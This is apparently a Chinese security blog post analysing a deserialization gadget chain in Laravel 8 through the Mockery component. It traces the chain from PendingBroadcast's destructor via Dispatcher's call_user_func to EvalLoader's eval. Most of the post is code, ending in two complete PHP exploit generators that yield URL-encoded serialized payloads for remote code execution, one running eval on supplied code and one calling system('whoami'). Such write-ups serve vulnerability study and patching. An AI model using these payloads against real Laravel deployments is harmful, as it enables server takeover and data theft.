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Laravel 8 反序列化分析

发表于:2021-03-09 13:29 作者: mtr 阅读数(238人)

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laravel的版本已经到了8;这里分析一个laravel8的反序列化漏洞,但是让我感到意外的是,这个漏洞竟然在低版本的laravel上依然可以存在,从根本来说这个漏洞是laravel的mockery组件漏洞,没想到一直没修;


本文涉及知识点实操练习Fastjson反序列化漏洞 (Fastjson是阿里巴巴公司开源的一款json解析器,在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。)


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首先还是老样子,熟悉laravel的pop链的师傅肯定比较熟悉,入口点还是PendingBroadcast.php中的析构函数;

public function __destruct()
{
    $this->events->dispatch($this->event);
}

这里很明显可以控制任意类下的dispatch函数;这里还是选择Dispatcher.php进行续链;

public function dispatch($command)
{
    return $this->queueResolver && $this->commandShouldBeQueued($command)
                    ? $this->dispatchToQueue($command)
                    : $this->dispatchNow($command);
}

这里简单的看下源码,感兴趣的师傅可以拿着laravel5的源码来进行对比,这里只不过是写成了三元运算的形式,本质上还是一样的,我们控制queueResolver变量和commandShouldBeQueued函数,使其返回为真,这样就可进入dispatchToQueue函数;这里审计下类不难发现queueResolver是我们可控的变量,然而commandShouldBeQueued函数我们可以追溯一下;

protected function commandShouldBeQueued($command)
{
    return $command instanceof ShouldQueue;
}

这里不难发现,是需要我们的command是继承ShouldQueue接口的类就可;所以全局搜索;选择BroadcastEvent.php的类;然后便可返回true,然后进入dispatchToQueue函数;回溯一下dispatchToQueue函数;

public function dispatchToQueue($command)
    {
        $connection = $command->connection ?? null;

        $queue = call_user_func($this->queueResolver, $connection);

可以发现这里有个危险函数call_user_func;可以直接实现任意类下的任意方法;这里就可直接跳转到我们想要执行的方法下;全局搜索一下eval方法;发现存在;

class EvalLoader implements Loader
{
    public function load(MockDefinition $definition)
    {
        if (class_exists($definition->getClassName(), false)) {
            return;
        }

        eval("?>" . $definition->getCode());
    }
}

call_user_func函数在第一个参数为数组的时候,第一个参数就是我们选择的类,第二个参数是类下的方法;所以这里直接去到EvalLoader类,去执行load方法从而调用到eval函数;这里发现存在参数,而且参数必须是MockDefinition类的实例;也即是意味着我们connection需要为MockDefinition类的实例;

继续审计发现,必须if为false才会触发eval方法;所以这里我们需要直接追溯到MockDefinition类中;

class MockDefinition
{
    protected $config;
    protected $code;

    public function __construct(MockConfiguration $config, $code)
    {
        if (!$config->getName()) {
            throw new \InvalidArgumentException("MockConfiguration must contain a name");
        }
        $this->config = $config;
        $this->code = $code;
    }

    public function getConfig()
    {
        return $this->config;
    }

    public function getClassName()
    {
        return $this->config->getName();
    }
    public function getCode()
    {
        return $this->code;
    }
}

看下getClassName函数;这里的config是可控的,所以我们直接找到一个存在getName方法并且可控该方法的类;全局搜索下找到MockConfiguration.php可以实现;

    protected $name;
    public function getName()
    {
        return $this->name;
    }

因为最后是要经过class_exit函数的判断的,所以我们可以直接控制其返回一个不存在的类,就会造成false从而进入eval方法;继续回到eval方法;

class EvalLoader implements Loader
{
    public function load(MockDefinition $definition)
    {
        if (class_exists($definition->getClassName(), false)) {
            return;
        }

        eval("?>" . $definition->getCode());
    }
}

这里还有个getCode方法,我们通过上面的类也可审计getCode方法;code在MockDefinition类中也是可控的,所以我们可以随意的控制其内容,那么我们就可命令执行;放出我exp:

<?php

namespace Illuminate\Broadcasting{

use Illuminate\Contracts\Events\Dispatcher;

class PendingBroadcast
{
	protected $event;
	protected $events;
    public function __construct($events, $event)
    {
        $this->event = $event;
        $this->events = $events;
    }
}
}
namespace Illuminate\Bus{
class Dispatcher
{
	protected $queueResolver;
    public function __construct($queueResolver)
    {
        $this->queueResolver = $queueResolver;
    }

}
}
namespace Illuminate\Broadcasting{
class BroadcastEvent
{
	public $connection;
	public function __construct($connection)
    {
        $this->connection = $connection;
    }
		}
}

namespace Mockery\Loader{

use Mockery\Generator\MockDefinition;
class EvalLoader
{
	    public function load(MockDefinition $definition)
    {}
}
}
namespace Mockery\Generator{
class MockConfiguration
{	
protected $name;
	public function __construct($name){

	$this->name = $name;
}
}


}
namespace Mockery\Generator{

class MockDefinition
{
	protected $config;
	protected $code;
	public function __construct($config,$code)
    {
    	$this->config = $config;
    	$this->code = $code;
    }
}
}
namespace{
	$e = new Mockery\Generator\MockConfiguration('s1mple');
	$d = new Mockery\Loader\EvalLoader();
	$f = new Mockery\Generator\MockDefinition($e,'<?php phpinfo();?>');
	$c = new Illuminate\Broadcasting\BroadcastEvent($f);
	$a = new Illuminate\Bus\Dispatcher(array($d,"load"));
	$b = new Illuminate\Broadcasting\PendingBroadcast($a,$c);
	echo urlencode(serialize($b));
}

这里为了节省时间,我最后用abcdef直接代替了,造成rce;

6lOUIJ.png

 

细心的师傅想必也发现了;在最开始的call_user_func处,也是可以进行命令执行的;

public function dispatchToQueue($command)
    {
        $connection = $command->connection ?? null;

        $queue = call_user_func($this->queueResolver, $connection);

这里可以直接控制进行命令执行;这个很简单,就直接放出我exp吧;

<?php

namespace Illuminate\Broadcasting{

use Illuminate\Contracts\Events\Dispatcher;

class PendingBroadcast
{
	protected $event;
	protected $events;
    public function __construct($events, $event)
    {
        $this->event = $event;
        $this->events = $events;
    }
}
}
namespace Illuminate\Bus{
class Dispatcher
{
	protected $queueResolver;
    public function __construct($queueResolver)
    {
        $this->queueResolver = $queueResolver;
    }

}
}
namespace Illuminate\Broadcasting{
class BroadcastEvent
{
	public $connection;
	public function __construct($connection)
    {
        $this->connection = $connection;
    }
		}
}
namespace{
	$c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
	$a = new Illuminate\Bus\Dispatcher('system');
	$b = new Illuminate\Broadcasting\PendingBroadcast($a,$c);
	echo urlencode(serialize($b));
}

 

6lXSyV.png


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